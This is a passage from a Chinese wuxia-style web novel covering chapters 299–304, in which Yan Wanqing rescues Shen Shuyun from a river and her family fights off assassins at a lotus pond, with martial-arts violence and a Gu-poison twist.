乌枕眼里闪过了轻蔑:“不过是几个玉石铺子,给他们便是,至于吵架么。”她懒散的揉了揉自己的额角:“我做主送给二房那边了,让怀玉大气一点,不要为了这么点蝇头小利就破坏了眼下好不容易维持的平静。” 这可是她这么多年殚精竭虑想要保住的北疆侯府。 谁若是轻易破坏了,谁就得付出生命的代价。 第二百九十九章 雨夜救人,大渭真小 夏日炎炎,燕家车队走走停停,终于赶在一场大雨来临之前,到了香城。 此时距离北疆城还有半月的时间。 时间还是很充裕的,所以当母亲孙涟漪提出要在香城修整的时候,燕晚清也同意了。 夏日的雨水很是充沛,倾盆而下,将还来不及跑进屋的小六浇了个透心凉。 她叫嚷着扑到了燕晚清的怀中:“阿姐,冷!冷啊!” 燕晚清轻笑着将她拦腰抱起:“从歌快给六小姐准备沐浴。” 将人抱进了里屋,燕晚清打趣道:“都这么大的人了,还这么咋咋呼呼的,你要是不淘气非要去外面,怎会一身湿漉漉的。” 燕小六撅着小嘴:“人家只是觉得今日的风大,又觉得外面的树叶子被吹下来很好看。” 燕晚清听完觉得她倒是还挺有人文情怀。 平日里只知道玩她的草药,头一回关注外面的世界。 见她又被这雨水淋的像个小狗崽子,眼神湿漉漉的看着自己,燕晚清心都化了,稍稍用了内力,便将她身上的衣服烘干了大半。 燕凌珍抱着自家阿姐的脖子:“阿姐你真好,我永远都不要离开你。” “说什么话,你是阿姐的妹妹,怎么会离开?往后你若是要嫁人,那阿姐就管不了你了。”燕晚清笑着打趣道,一想到这个画面,她觉得还十分的久远。 眼下燕小六才十二,距离及笄尚且还有三年的光景。 燕小六紧紧的搂着自家阿姐。 她不是这个世界的人,迟早有一天要回到自己的世界里去,虽然她不知道回去的方式是什么,可得知李呈祥的死讯的时候,她还是心里有过恐慌的。 “怎么还惆怅上了?淋雨淋傻了?”燕晚清摸了摸她的头,燕小六突然想要下定决心想要跟她交代清楚。 “阿姐——”燕凌珍刚要开口,从歌走了过来:“六小姐,水准备好了。” 燕晚清赶紧将她抱进了耳房,催促道:“赶紧洗个热水澡,虽说是夏日,但是别染上风寒。”然后她又看向从歌吩咐道:“盯着她,待会儿洗完了,就赶紧过来吃饭,母亲今日包了饺子。” 她走的很快,话说完,人已经走到了门口。 燕凌珍看着自家阿姐的背影,只能将刚刚想说的话全部吞进了腹中。 反正以后的时间还长。 这躯身子里的灵魂还是她。 现代的她无父无母,从小在孤儿院长大,她没有被人收养过,因为她有自闭症,只能跟着院长夫妇,医术也是跟着院长夫人学的,后来夫人看她天赋很高,跟社会上的好心人士募捐了一点善款,供她读完了医科大学。 她穿过来的时候,还在抢救濒死的病人。 可以说除了院长夫妇,现代社会她没有任何亲人。 可是院长夫妇有子女,她碍于自己的病症,也无法像一个正常的孩子去表达自己的想法以及撒娇。 可穿书的这段时间,母亲和阿姐还有燕家的所有人都对她特别好。 燕凌珍一点都不想离开他们。 善良的上苍啊……如果可以的话,我希望自己可以永远的留在这里。 燕凌珍太渴望自己有一个健康的身体,以及一群可爱的亲人们了。 现在,她都拥有了。 …… 雨水淅淅沥沥的下着,燕家人吃完了包饺子,都各自散去,燕晚清撑着一把伞刚要走到外面去。 身后就传来脚步声。 “表姐要出去?”孙鸿煊站在身后问道,少年的眸子黑的晶亮。 燕晚清点了点头:“闲来无事,想出去逛逛。” 她没说,其实是这段时间和小五联系上了,五妹妹开始往这边赶了。 最迟后日便会出现在香城。 而香城距离北疆也不过只有七日的路程了。 “可要我随表姐一起出去?”孙鸿煊挠了挠后脑勺,不太好意思的问道。 他单纯的觉得燕晚清一个女孩子家的,这么晚出去,有点危险。 燕晚清闻言挑眉:“你这是在质疑表姐的战斗力?” 孙鸿煊赶紧摆手:“不是不是,表姐误会了,只是天色有些晚了,外面还下着雨,我只是想给表姐撑撑伞,拎拎东西。” “你的好意心领了,我就在门口几家店逛逛,很快就回来。” 话说完,孙鸿煊就看见她撑着一把油纸伞,进入了雨帘…… 香城是一座历史比较久远的小城。 因为地处位置的原因,很少发生战乱,所以还保留着一些上古时期的建筑。 燕晚清买了一些小六和小七爱吃的零嘴,然后坐在晚间的茶楼里,从二楼往下俯瞰烟雨中的灯笼,再看那小船从桥下经过,鼻息间都是泥土裹挟着深层的水汽清香,有一种夏天独有的清爽之感。 喝着茶水,听着茶楼里的戏子软言软语,燕晚清觉得前半生的自己像是白活了。 这才叫生活啊。 她眯着眼眸打算再多看看窗外的风景,眼眸刚落在那桥上就愣住了。 只见黑色的夜幕之下,一个身材纤细的女子将一个人,像是一个尸体直接从桥上丢了下去,水花在雨声之下完全被掩盖住,那女子仗着自己身材娇小,看了看四下无人,很快便消失在了桥尾。 燕晚清:“……”她好不容易才开始享受自己的退休时光。 就有人当着她的面杀人。 香城这巴掌大的地方,与世隔绝,怎么还会有人雨夜杀人抛尸啊。 燕晚清认命的将杯盏放在了桌子上。 既然是被她看见了,总不能当没看见。 倘若这被丢下水的人,还没死,那么她就当是救人一命胜造七级浮屠了。 想到这里,燕晚清从荷包里掏出一锭银子放在了桌子上:“店家帮我照看一下东西,去去就回。” 她拿起身边的伞朝外面走去,很快便到了桥上。 夜色之下,那人一袭浅色的衣服还是比较辨认的。 眼看他还在扑腾,燕晚清挑眉。 竟然还真活着。 她撑着伞,脚尖在桥墩子上轻点一下,从桥上飞身而下,纤手直接拽着那人的衣襟,将其拽上了岸。 “咳咳咳!” 她剧烈的咳嗽着,在雨幕之下降肚子里的水全部咳了出来。 燕晚清撑着伞,往旁边躲了躲,不想被弄湿衣服,这被丢下河的也是一名女子。 “多谢阁下。”那女子沙哑着嗓子说道:“小女沈淑云多谢阁下救命之恩。” 燕晚清:“……”大渭真小。 第三百章 雨夜救人,又见沈淑云 看着浑身湿哒哒,宛若一只小猫一样可怜弱小的沈淑云。 燕晚清觉得今日真是惹了个大麻烦。 她在这里,那么宋化虚肯定也在周围。 他对那宋凝的执念那么深,这沈淑云跟宋凝长得惟妙惟肖的,她的个人安危肯定是宋化虚需要重点关注的。 燕晚清眼底闪过一丝深沉。 香城太安逸了,她有点讨厌这么诡计多端的自己了。 只是那宋化虚是害死她父亲的帮凶,这仇,无论如何她都是得报的。 不会因为宋化虚太过于强大,就选择放弃。 这送上门的沈淑云……燕晚清眯了眯桃花眸,不用白不用。 “你怎么会在水里?”燕晚清开口问道。 沈淑云闻言表情有些许凝固,好半饷她才轻轻地开口:“被人推下去的。” “为何?” “情仇。”沈淑云刚说完,就感觉问话的人声音很是耳熟,抬头看到燕晚清那张清丽的面容,傻眼了:“你,你是那个……” “好久不见。”燕晚清冲着她扬了扬眉。 冷冷的雨水拍打在沈淑云的脸上,她张大嘴看着燕晚清,人都傻了。 这就是传说中的冤家路窄吗? “雨越下越大,我回去了,你也早点回去。”燕晚清见她跟个鹌鹑一样坐在地上,一时之间没有了再继续问下去的兴许,于是抬起脚就要走。 可是刚迈出去一步,腿就被抱住了。 “松手。”燕晚清有些嫌弃的开口:“你把我裙子弄湿了。” 沈淑云不敢相信的瞪大眼睛,被人推下水的怨恨在这一瞬间爆发出来:“你到底还有没有人性?在你眼里我还不如一条裙子重要?!” 燕晚清叹了一口气:“你这么生气做什么?” 沈淑云气急败坏,抓着她的裙摆借力站了起来,她比燕晚清矮了半个头:“我不管,我要跟你回去。” 燕晚清匪夷所思:“为什么?” “你救了我。”沈淑云理所当然:“救人救到底,送佛送到西。” “你应该知道我和光明教之间有着不共戴天的仇恨,跟着我,你不怕被教会驱逐么?” 沈淑云眼中闪过了一丝犹豫,但是很快她坚定的点头:“你废话那么多干什么,赶紧走吧,我都不害怕,你害怕吗?” “行……吧。”这硬要跟着她走,也没有办法,燕晚清状似无奈的说道。 沈淑云直接整个身子靠了过来,十分的自来熟。 当初在明月镇的时候,尚且还装出几分小白兔的模样,眼下她刚从河里被捞上来,此时已经懒得再去装了,直接紧紧的贴上了燕晚清。 燕晚清倒吸一口凉气:“你离我远点。” “不行,冷。”沈淑云紧紧地扒着她。 原本一个人很快就能走完的路程,硬生生被沈淑云拖得走了一盏茶。 最后燕晚清实在忍不住了,直接搂着腰肢将人带上了茶楼上面。 店家一看沈淑云浑身湿漉漉的,赶紧拿了些干软的布来,让她擦拭。 燕晚清则是用身体挡住了那些似有若无撇过来的男客目光。 “辛苦店家准备一辆马车。”燕晚清又拿出一锭银子来。 店家早就知道她是贵客,丝毫不含糊,在钱的面前,要什么给什么。 很快马车安排好了,燕晚清让沈淑云先上马车,自己拿完购置的一些东西之后,才上了车。 “快点快点,好冷。”沈淑云躲在角落里打着寒颤,七八月的天气,但是雨夜里的还是冰凉的。 燕晚清见状狐疑:“你没有内力?” 沈淑云白着一张小脸摇了摇头:“他……没有教我。” “为什么?”宋化虚在武学方面从不吝啬。 “因为那个女人不会。” 此话一出,燕晚清也不好再问什么了。 她觉得宋化虚在这件事情上面,做的多少有点卑鄙了。 “你过来点。”燕晚清朝她勾了勾手。 她在驾车,把控着缰绳的方向。 沈淑云不知道是不是发烧了,脑子有点迟钝,等到自己反应过来,人已经挪到了燕晚清的身边,后悔的她小脸皱成一团。 燕晚清一只手轻轻的放在了她的背上:“先给你烘干,不然这样下去你就要感染风寒了。” 等回到家里,再给这货熬一碗热姜汤吧。 沈淑云只觉得背上暖洋洋的,很快传传达到了四肢,她逐渐的眯上了眼睛。 等到燕晚清收回手之后,肩膀上多了一个脑袋。 她啧了一下,抬手将这个脑袋推到了一边去。 很快马车到达了落脚处。 燕晚清看着缩成一团的沈淑云,桃花眸里十分深沉。 宋化虚第二个女徒弟,也是她的小师妹。 她想了想,还是将人给抱了起来,直接走进了门。 众人见她怀中抱了女子回来十分震惊。 孙鸿煊立刻上前,将人给接过去:“表姐,这是?” “顺手之劳罢了,送她去洗个热水澡,然后再喝一碗姜汤吧。”燕晚清周身黏答答的,也想回屋洗漱了:“明日再细说。” 见她眉眼间有倦色,孙鸿煊只好忍住心中的疑问,将怀中的沈淑云交给了下人们。 一夜无梦。 燕晚清有早起练剑的习惯,但是昨夜下了一场大雨,地上很是泥泞,空中还漂着雨丝,这种天气实在是不适合练剑。 索性她便将昨日买的书翻看了起来。 没过多久,外面传来了敲门声。 燕凌珍走了进来,手里端着一碗黑乎乎的汤汁:“阿姐,昨日你也落水了?” “没有。”燕晚清摇头。 燕凌珍松了一口气,但还是将那碗汤汁端到了她的面前:“还是喝下吧,昨夜阿姐救回来的那位,已经高烧不起了。” “严重么?”可别烧死了,沈淑云对她来说有大作用呢。 燕凌珍点点头:“已经开始说胡话了,好不容易灌了些汤药下去,还吐了表哥一身。” “是孙鸿煊在照看她?”燕晚清挑眉:“他什么时候这么热心肠了。” 平日里可没看见孙鸿煊这么积极过。 难道是相中了那沈淑云? 不能吧。 自家五妹妹颜色可比这小白菜好看多了。 孙鸿煊眼睛瞎了不成? 燕晚清微微蹙眉。 燕凌珍哪里知道,她撅着小嘴:“阿姐快喝药,别仗着自己武功高强就不拿风寒当回事。” “好好好。”燕晚清哪里敢拒绝自己的小六,端起汤碗一饮而尽,苦的她眉头皱成了一团。 第三百零一章 可以报仇,我不介意你的利用 香城里面来个大户人家,一进城便将城里最大的院落也盘了下来。 到现在为止,已经住了有五日了。 上午还下着雨,中午的时候天气就放晴了,空气中又开始氤氲着湿热的水汽。 沈淑云喝了药蒙头睡了一觉,醒来的时候已经不烧了。 “醒了?可要喝点粥垫垫肚子。”睁开眼,便看见一个俊俏的儿郎坐在自己的面前。 沈淑云记得,这个人是燕晚清的表弟,叫孙鸿煊。 “……好,多谢。”沈淑云点了点头。 孙鸿煊却没有走,少年的面颊染上了一丝粉色,他轻轻拽了拽衣角:“还请小姐松手。” 沈淑云这才看见自己的右手紧紧的抓着他的衣角,赶紧羞怯的松开了手,那原本平滑的布料,垂在他腿侧的布料皱皱巴巴。 她不好意思的低声说道:“抱歉。” “无事。”孙鸿煊对于这个被燕晚清带回来的女子有着一份天然的包容,轻声说道:“你再休息一会儿,我让厨房送粥过来。” 昨夜她拽着衣角不肯松手,又在梦里哭喊着,模样可怜,让人忍不住怜惜,所以孙鸿煊便和从歌照顾了她一晚上。 早间的时候,燕凌珍过来送风寒药,沈淑云也醒过一会,但是那时烧得厉害,只怕现在已经不记得了。 孙鸿煊走出门外,看到外面已经不下雨了,忍不住伸了个懒腰。 刚好碰到了过来看沈淑云情况的燕晚清。 他愣了一下:“表,表姐!” “嗯。”燕晚清点点头,看到了他眼底的青紫色:“昨晚一夜没睡?” 孙鸿煊揉了揉自己的后脑勺,点了点头,笑的有些憨傻。 “府里有下人,下次可不许这样了,要是被你姐知道这么虐待孙家的嫡长子,指不定要扒了我的皮呢。”燕晚清打趣道,伸出拍了拍他的肩膀:“回去休息吧,我进去看看。” 她说完就走,留下孙鸿煊呆愣在边上,他闻着空气中的幽香,耳坠又红又烫。 屋内。 沈淑云正在吃力的掀开被褥,伸出手去够案几上的茶水,烧了一夜,此时的她只感觉嗓子干裂的疼。 “上去躺着。”燕晚清将水杯递给她:“你可以喊下人帮你。” 沈淑云将水杯端在掌心里,轻轻说了一声谢谢,然后端起水杯一饮而尽。 “我出生在一处农户……”她突然开口说道。 燕晚清微微挑眉。 这是要开始讲述自己的故事么? 沈淑云说起自己的过往,表情还算比较平静。 “家中很穷,幼年丧母,后来丧父,家里的人都骂我是丧门星,想要将我赶出家门,是我的爷爷坚持留下了我……爷爷没了之后,我遇到了宋化虚。”说到这里,她抬头看向燕晚清,清澈的眸底下浮现出明显的恨意:“就像是第一次我们遇见那种场景之下,我被他救了,一直养在光明神教。” “……那天如果不是你,我不会知道有个叫宋凝的女子跟我长得这般相像。”沈淑云扣着水杯的边缘,贝齿咬住下唇,唇瓣被她咬的发白。 “这件事情我得谢谢你,不然我应该会成为第二个付明月。”沈淑云轻笑一声:“你这人看起来不像好人,做事情也不够光明磊落,但还算是顺眼。” 燕晚清挑眉:“你这孩子真不会说话,我怎么就不像好人,别忘了昨夜是谁将你从河里捞上来的,如果不是我,你现在已经可以下地了。” 沈淑云:“……” 她唇角抽了抽:“你当我不知道救我的目的么?你不就是想拿我对付宋化虚么。” “竟然还不算太笨,现在你知道了我的真实目的,打算如何?逃走?”燕晚清拎起茶壶,往她的杯子里蓄水,此时从歌也端着盘子过来,盘子上面放着热气腾腾的小米粥,还有些精致的小菜。 从歌笑的温柔,面色还有熬夜之后的发白。 “昨夜沈小姐烧了一夜,不能吃大补的,眼下先喝点粥润润。”从歌将盘子放在了案几上。 沈淑云见状,眼眶微微发酸,但是很快被她憋了回去。 她低垂着头,好半饷:“我不会逃走的。” 沈淑云抬头看向燕晚清:“你想要宋化虚的命,我可以帮你。” “你?”燕晚清轻笑一声:“你可是他现在唯一的女徒弟,凭什么帮我,我又凭什么信你?”她可记得明月镇上,沈淑云是最先出来混淆他们视线的存在,是光明神教的教徒。 她可不是很想,与虎谋皮。 沈淑云目光灼灼,语气也带一丝真诚:“我可以证明自己,直到你完全信任我为止。” “理由。”燕晚清不明白为什么沈淑云突然示好。 就因为昨夜把她从河里捞上来了? 沈淑云手指关节发白,她舔了舔干涩的唇角轻轻的开口:“因为我爷爷,他是雁门关中的一员。” 提到了雁门关,所有人都沉默了。 谁都知道那一场战役有多么凄凉。 沈淑云强行挤出一抹苦笑来:“封城的前一天,我还跟爷爷许诺一定会带着粮食过来给大家,但是谁曾想,粮食没找到,爷爷也没了……当初我就不应该出去,死都要和爷爷死在一起。” 说着眼角的泪水终于忍不住低落了下来。 从歌心中不忍,从怀中掏出帕子低了过去。 沈淑云接过帕子,哽咽着道谢:“……我被宋化虚救下之后,一直想要回到雁门关,便不断的哀求他,他说雁门关已经开始打仗了,整整维持了三天三夜,尸横遍野,所有人都以为无一生还,可是那天付明月将燕家大公子带了回来,可是他却失去了所有的记忆。” 所有的故事线都串联了起来。 燕晚清面无表情的听着。 “如果不是你将皇帝做的事情昭告天下,我还被宋化虚蒙在鼓里,将他当做接济天下的大好人!”沈淑云说着眼里浮现出痛恨:“可是分明是他,是他出谋划策要了我爷爷还有大家的性命!他就是一切的罪魁祸首!” “所以,我要找他报仇!哪怕没有你,只有我一个人,我也会竭尽全力为我的爷爷报仇!” “我没有你那么厉害,所有的事情都可以运筹帷幄,可是我有一张和宋凝长了一模一样的脸,宋化虚虽然不说,但是我知道,我这张脸对他来说很重要!” “如果可以报仇雪恨,燕晚清,我不介意你利用我,真的……” 第三百零二章 不要伸张,水底有杀手 “先把粥喝了。”燕晚清没有直接回答她的话,而是将盘子往她的面前推了推。 沈淑云抬头看她,执拗的想要等一个答案。 那模样不知怎的,有点像李家大小姐。 让燕晚清有些怔神。 只是沈淑云不是李呈祥,对于她,燕晚清始终觉得自己要保持一份警戒心。 “别老是看着我,先吃饭。” 沈淑云眼神黯淡了些许,她接过从歌手里的粥,然后用勺子一点一点的挖着吃了起来。 从歌见她模样可怜,有些心生不忍起来。 “慢点吃,不够厨房还有的。” 沈淑云不说话,只是埋头不停的吃着碗里的小米粥,旁边的小菜动都没动。 …… 下午天气好,大家兴致都比较高,孙青莲提议一起趁着这雨后的出去采莲子挖莲藕。 她还惦记着上次路过的那片荷花池,但是距离香城很远,好在孙鸿煊又找了一个家中有荷花池的农户,跟其商量好了时间,所以众人便驱车一起前往。 本来不想带风寒刚刚有好转的沈淑云的,但是她硬要来,苦苦哀求下,孙鸿煊还是将她带了过来。 一路上她都不是很舒服,一直在压抑自己的咳嗽声,不光她自己难受,同行人也跟着难受起来。 后面到了目的地,燕凌珍听见了,又给她塞了一粒药丸,才整个人舒坦了起来。 “待会儿你就坐在旁边,不要下水了。”孙青莲见她如此羸弱,吩咐道。 沈淑云乖巧的点了点头。 “夫人去玩耍吧,不用管小女。”她有些不好意思的小声的开口。 孙青莲见她明显气色比刚出发的时候好很多,心才放缓下来。 众人坐着小船穿梭在荷花池里面,很快嬉笑声便响彻在天际。 沈淑云面露羡慕之色,唇角也不禁带上了几分笑意。 但是很快她就笑不出来了。 她瞪大双眸看着那偌大的荷叶下面,浮现出一个身穿黑衣的头颅,湿漉漉的双眼尽显杀气。 “燕晚清——!”她忍不住尖叫出声。 小船上的燕晚清听见声音,朝着她看了过来,只见沈淑云在岸边奋力的挥舞着手臂,模样十分惊慌,她皱了皱眉头。 “她这是怎么了?” 从歌摇了摇头将手里的莲蓬丢进了篮子里。 “看起来挺着急的,小姐,要不我们靠过去看看?” 燕晚清点点头,从歌划着小桨往岸边靠。 沈淑云看着他们过来,更加着急了。 “不要过来——!”眼看着湖水下面的刺客,沈淑云更加着急了。 燕晚清见她神色慌张,不停的挥舞着手臂,立刻开口说道:“停下!” 从歌不明所以,但是她听小姐的话。 燕晚清低着头去看荷叶下面的池水。 “小姐怎么了?”从歌看她脸色不对,也跟着谨慎起来。 燕晚清抬手示意她不要说话。 远处母亲还有小六欢声笑语还在不断,她看着湛蓝的天边,空气中滚动的热浪里面透着一丝诡谲。 岸上的沈淑云还在不断的挥舞着手臂,她大声的喊着什么,但是距离很远,只能听见一点音节。 她眯着双眼仔细的看着水下的波纹。 不对劲。 水下有古怪。 她默默地取下腰侧悬挂着的匕首,手缓缓的伸出去,揭开了一片荷叶! 从歌几乎是立刻尖叫出声。 那荷叶下面赫然有一张人脸! 那人浑身都穿着水下特质的紧身衣,包裹的像是一条泥鳅,像是伺机而动的魔鬼,死死的盯着他们。 杀手! 荷叶下面有杀手! 不像从歌的惊慌失措,燕晚清很是冷静,在看见那张脸的瞬间,手里的匕首就已经刺了出去,她二话没说直接扎进了那杀手的脖颈,然后用力将其往水下面摁去! 鲜血不断的从他的脖颈处溢出,将周围染红。 燕晚清面无表情拔出匕首,再次狠狠的落下,与此同时另外一只手直接用上了内力,将其狠狠的摁死在了水里,直到水面上不再出现一丁点水花,荷叶荷花也恢复到了安静。 “小姐。”从歌白着一张脸凑过来,看见燕晚清扯过一片硕大的荷叶将尸体盖了起来。 燕晚清面色如常:“不要伸张,水底下肯定不止一个杀手。” 从歌认真的点点头,她目光十分担忧的看向孙青莲和燕凌珍的那条船,因为那条船上只有他们两个。 “我们赶紧朝着夫人和六小姐那边靠过去吧。”从歌话不多说,开始滑动着船桨。 可是刚刚的动静已经让水底下的杀手们嗅到了不对劲。 他们很快就在水底下看到了不断涌出鲜血的尸体。 “不好,暴露了!上!”杀手们在水底下比划着手势,纷纷掏出了自己的长刀。 眼看着就要母亲那边,一个又一个的杀手从水底下飞了上来, 他们落在各个小船的船头和船尾,拿着森冷的长刀,眼里的杀意不言而喻。 杀手之间默契十足,几乎是同一时间动手发难,他们迅速袭击各个船只上面的女眷们,形势十分严峻! 这可急坏了岸上的沈淑云。 她不会武功,又没有多余的船只过去,只能急匆匆的去旁边找了一个长木棍,看到哪个杀手就上去一棍,但是基本上也是落空的状态。 杀手来势汹汹,可是燕家人也不是吃素的。 哪怕是年纪最小的燕子濯,那也是有一身武艺在身上的。 此时他二话不说拿起装满莲藕的篮子丢向了对方,抄起小厮手里的船桨,对着杀手就是一通乱走,然后趁乱将其踹回了水里。 那边孙青莲更加不是吃素的。 本就是将门出生,年纪是大了,可是手里的功夫半点没有忘记。 她保护着燕凌珍,对着扑上来的杀手们便是一拳。 燕晚清和孙鸿煊就更加不用说了,平日里看起来十分柔弱的他们,动起手来丝毫不含糊,很快便在他们船只的周边荡漾起一圈接着一圈的水花,以及迸溅出来的血水! 双方武力上面是不相上下的。 但是奈何对方人多。 犹如蝗虫一样的杀手们,不断的从荷叶下面跳出来,根本无法预判下一个刺杀会从哪个方向过来。 很快众人身上便有了大大小小的伤口。 “速速上岸——!”燕晚清见情况不好,立刻气沉丹田说道。 第三百零三章 上赶着当人质,都想死是吧 水底下的杀手多如牛毛,根本不知道会从哪个方向上来,所以上岸是更好的办法。 燕晚清用内力将自己催动屹立到了整个荷花池的上空,横空一扫,将大部分黑衣人从船头上扫落到了水下面,众人抓紧这个时间,催动着小船赶紧上岸了。 她根本不知道,为何护突然涌现这么多的杀手。 难道是京都派过来追杀他们的人么? 可是看不像,暗杀的手法还有他们的装束,和京都的杀手相差太大。 “啊——!”突然岸上传来一声尖叫,沈淑云被一个爬上岸的杀手勒住了脖子。 原本还在手里挥舞着的木棍,在地上滚了两圈,掉进了水里。 “不好,沈小姐被抓住了。”从歌在小船上惊呼一声,面上都是焦急。 燕晚清紧皱眉头,与此同时剩下的所有人都在往岸上赶去,混乱之中,燕子濯身边的小厮被杀手拽下了水池,燕子濯为了就救小厮,也被杀手也抓住了。 “小七!”燕晚清眼神里都是杀气,她直接飞跃跳上了岸边。 此时不少人都已经被杀手也捉住了。 不过那些杀手却没有直接要了他们的命。 “你们究竟想干什么?”燕晚清姣好的面容上都是阴沉,她已经很久没有这般动怒了。 眼前这一批不知道是谁派出来的杀手,让她眼里冒出了杀气。 那早早上岸挟持住沈淑云的杀手,推着她往前走了两步。 沈淑云疼的抽气。 “不许乱动!”杀手恐吓道。 长刀架在她的脖子上,在她细嫩的脖颈上留下了一道血痕。 沈淑云立刻不敢动了。 那杀手的声音沙哑难听,粗噶的宛若寒冬腊日下面的乌鸦。 “你们当中谁是燕晚清?” 原来是奔着自己来的。 燕晚清在母亲和小六担忧的目光中超前走了一步:“我是。” “不愧是你,杀了我们这么多的弟兄。”杀手刚刚就被燕晚清的招式所震惊,眼下见她赫然就是自己的任务目标,不禁冷笑道:“你是自己跟我们走呢,还是我们杀光这群人之后,再带你走呢?” 说着他手底下的长刀用了些力气,鲜血瞬间从沈淑云的脖颈处流出,将白皙的衣襟沾染上了血色。 她害怕的面色苍白,可是此时双眼只是盯着燕晚清。 一句求饶的话都没有说。 燕子濯就更加不用提了,随时都在寻找能够反制住那些杀手的机会:“阿姐,不用管我!不许跟他们走!” 燕晚清桃花眸半眯着,她轻笑一声:“走?谁派你们来的?” 走,她是不可能走的。 这群人来势汹汹,根本不可能放过她的家人。 杀手头子知道燕晚清武功高强,一直在防备着她,此时见她往前走了两步,警惕的拽着沈淑云往后退,目光与燕晚清继续周旋:“你问那么多做什么,别忘了你的家人现在在我的手里,废话少说,走还是不走!” 雇主下的是要燕晚清性命的任务。 他们本来还觉得雇主大题小做,要求他们倾巢出动。 不过是一群老弱病残而已,唯一一个需要他们警惕的便是那孙鸿煊。 一群娘们,能有什么战斗力,搞的这么吓人。 可是谁能想到,真的动起手来,这群看起来瘦弱的女子,竟然一拳就能将他的弟兄们打进水里,半天扑腾不上来! 好在是他们人多,刚刚趁着上岸的混乱局面,挟持了燕晚清的家人,才有了这次谈判的机会。 倘若真是真刀实枪的干,杀手头子觉得自己根本不会是这个娘们的对手。 瞧她用匕首捅人脖子的架势,说不定他们今天都得交代在这里。 燕晚清没有忽略掉杀手头子眼中的忌惮,她继续笑道:“走,你也说了,人都在你手里,自然得听你的。” 她指了指自己:“要不我过来当人质,你放我这些弟弟妹妹离开如何?” 杀手头子可不敢要燕晚清过来当人质:“你当我是傻子?!”这群弟弟妹妹哪个是吃素的? 会武功的不好惹,这不会武功的更加不好惹。 那个看起来人畜无害的小姑娘不知道手里哪来那么多毒针,扎的他的弟兄们直接泡在了水里,再也没能起来过。 燕家人,个个不是善茬。 也就手里这个小姑娘,看起来比较安全。 于是杀手头子继续说道:“废话少说,你先把自己的双手捆起来,眼睛蒙起来。” “阿姐!”小六不赞成的皱眉开口喊道。 燕晚清安抚性的冲她笑了笑:“可以。” 她伸出了双手,让小六将她的手捆了起来,然后又用帕子让小六把她的眼睛蒙起来。 等做完这些,燕晚清开口:“这样可以放了我的家人了吗?” 杀手头子心里松了一口气,示意其他人放了燕子濯他们,但是他依旧没有放过手里的沈淑云。 “这个丫头跟你一起,走在前面,其他人不许跟过来!不然我现在就杀了这个丫头!”杀手头子威逼道。 孙青莲此时已经十分来气了。 她冷哼一声。 “抓一个年纪轻轻的丫头做什么,你过来挟持我当人质岂不是更好?” 杀手头子看着孙青莲,他可没有忘记这个风韵犹存的夫人是如何一拳一个的。 “废话真多!”杀手头子没了耐性,抬手就给了沈淑云一巴掌,她尖叫一声,紧跟着杀手就粗鲁的用手掐着她的下巴面对着众人:“一个个的都赶上来当人质,都想死是吧!” 他直接退着沈淑云朝前走去。 沈淑云的鼻腔和口腔里都是鲜血的味道,后背也因为刚从水里上来的杀手变得湿漉漉的。 此刻她不敢停留,乖巧的听话朝前走去。 剩下的人则是压着燕晚清跟在了后面。 燕子濯想要追过去,被燕凌珍赶紧拉住。 “可是阿姐……”燕子濯焦急的声音在燕凌珍的眨眼示意下噤声了。 绳子是她系的。 身为医科大学毕业的学生。 最爱玩的就是绳子了。 刚好,她阿姐前阵子刚刚跟她请教了这些绳子的系法和结法。 等到燕晚清和沈淑云走的没有影子了。 那群杀手依然虎视眈眈的看着她们。 燕凌珍拉着燕子濯往后退了两步,冷笑一声:“真是说话不算话啊,当心以后下雨走在外面遭雷劈!” 话音刚落,她抬手便洒出一片银针,紧跟着手袖中的毒粉也跟着撒了出去,瞬间倒了一片。 与此同时,杀手头子将沈淑云推倒在了地上,拿起刀逼近双手被舒服,还蒙着眼的燕晚清! 第三百零四章 杀我?你也配! “杀我,你也配?” 就在杀手头子提刀而来的瞬间,燕晚清抬脚对着他的胸口便是一脚,紧接着原本束缚着她的绳子落在了地上。 她拽掉眼睛上的帕子,随意丢在了地上,红唇微勾。 “如今真是阿猫阿狗都敢过来刺杀本郡主了。”燕晚清摩挲着双手,看着那杀手,桃花眼里都是杀气:“你是自己交代,还是待会儿进风雨楼里交代?” “什么风雨楼?”杀手头子感觉自己听到了不能听的字眼。 那不是江湖上第一大杀手组织么? 难道…… 杀手头子瞪大眼睛。 不过是呼吸的功夫,原本空旷的小道上,此时已经多了一黑一红,一男一女。 “风雨楼的左右护法,燕晚清你是——”杀手头子瞪大眼睛,用手指着燕晚清。 红雾抬起长剑就要削了他的手指:“大胆!” “等等。”燕晚清抬手制止住:“留他性命。” “同为杀手,应该都知道江湖上的规矩!”杀手头子还是很讲江湖道义的,他咬牙看着燕晚清。 这次怎么也没有想到会踢到铁板上。 眼下左右护法都出现了,那么刚刚留下来善后的弟兄们此刻也怕是凶多吉少了。 他眼中闪过悔恨。 实在不应该接下这一单。 “我不杀你。”燕晚清慢条斯理的开口:“你回去跟你的雇主说,最多半个月,我燕晚清会亲自去报这个仇。” 杀手头子警惕的看着她:“你想跟着我找过去?” “不算太笨。”红雾在一旁轻笑道。 “休想!” “抱歉,你现在没有拒绝的权利,你要是不照做,从现在开始,你每反抗一次,我就让红佛手拿你一个弟兄炼药。”燕晚清一点都不着急。 杀手头子愣住:“红佛手?”这群人里面除了风雨楼的头子,竟然还有毒医红佛手? 这是一群什么神仙? 此时刚好燕凌珍跑了过来,她喘着粗气,身上也沾染了血腥,此刻跑在小道上,原本天真浪漫的情景,此刻在杀手头子的眼中显得十分的诡异。 “阿姐,你在外人面前说我名讳做什么?”燕凌珍撅着小嘴,小手直接拉上了燕晚清:“小六年纪小,不想让人用有色的眼睛看小六。” 杀手头子:“……要不你们还是把我杀了吧。” “杀了你干什么?留给我炼药岂不是美哉!”燕凌珍眼睛里冒精光。 杀手头子冷笑:“士可杀不可辱!”他捏着长刀就要为自己再搏一搏。 可是谁曾想,刚站直身子,他猛地一愣,紧接着七窍开始流血。 “怎么回事?!”燕晚清蹙眉。 杀手头子已经说不出话,原本高大的身躯此刻一点一点萎缩下去,最后变成了一摊血水,消失在了黑色的夜行衣中。 燕凌珍一把拉过想要上前查看的燕晚清:“阿姐别去!” 一条通体红色的蜈蚣从那脓血中爬了出来,朝着地上晕过去的沈淑云扑了过去! 否极眼疾手快,直接用长剑将其斩成了两段。 那红色蜈蚣在地上扑腾了两下,然后彻底死了过去。 彼时,燕晚清和燕凌珍的脸色都十分难堪,她们对视一眼,看到了对方眼中的凝重。 竟然是蛊毒! …… “什么?!”茶杯应声而落。 点着檀香的内室里,乌枕不敢置信的看着翠织:“你再说一遍。” 